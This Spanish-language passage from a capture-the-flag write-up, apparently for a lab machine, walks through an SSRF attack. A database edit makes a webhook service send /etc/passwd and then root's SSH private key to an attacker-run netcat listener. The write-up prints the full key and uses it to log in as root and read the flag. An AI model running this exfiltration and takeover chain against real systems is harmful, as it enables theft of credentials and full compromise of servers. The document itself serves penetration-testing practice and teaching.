| 6e5970e4-3829-4081-bd29-bacd5b1975ba | http://10.10.17.44 | 0 | http://10.10.17.44 | * * * * * | yyyy-mm-dd hh:mm:ss | yyyy-mm-dd hh:mm:ss |
+--------------------------------------+--------------------+-----------+--------------------+-----------+---------------------+---------------------+
1 row in set (0.00 sec)
Ahora, cambiamos el campo monituredUrl
a un archivo local como /etc/passwd
:
mysql> update tasks set monitoredUrl = '/etc/passwd';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 1 Changed: 0 Warnings: 0
Y recibimos el contenido de /etc/passwd
de vuelta, por lo que hemos transformado el SSRF en una lectura de archivos locales:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:42280.
POST / HTTP/1.1
Host: 10.10.17.44
Accept: */*
Content-type: application/json
Content-Length: 1940
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.17.44","monitoredUrl":"\/etc\/passwd","health":"up","body":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin\nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin\nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false\nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\npollinate:x:109:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:110:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsusanne:x:1000:1000:susanne:\/home\/susanne:\/bin\/bash\ngogs:x:1001:1001::\/home\/gogs:\/bin\/bash\nmysql:x:111:114:MySQL Server,,,:\/nonexistent:\/bin\/false\n"}
En este punto, podemos probar si estamos leyendo archivos como root
. Por ejemplo, podemos ver si existe una clave privada de SSH:
mysql> update tasks set monitoredUrl = '/root/.ssh/id_rsa';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:52864.
POST / HTTP/1.1
Host: 10.10.17.44
Accept: */*
Content-type: application/json
Content-Length: 1818
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.17.44","monitoredUrl":"\/root\/.ssh\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n"}
Y ahí está, ahora nos podemos conectar a la máquina como root
sin contraseña y encontrar la flag root.txt
:
$ echo -e "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n" > id
_rsa
$ cat id_rsa | tr -d '\' | sponge id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.176
root@health:~# cat root.txt
03ffdcc457f7b26610f2798f6d1da2ad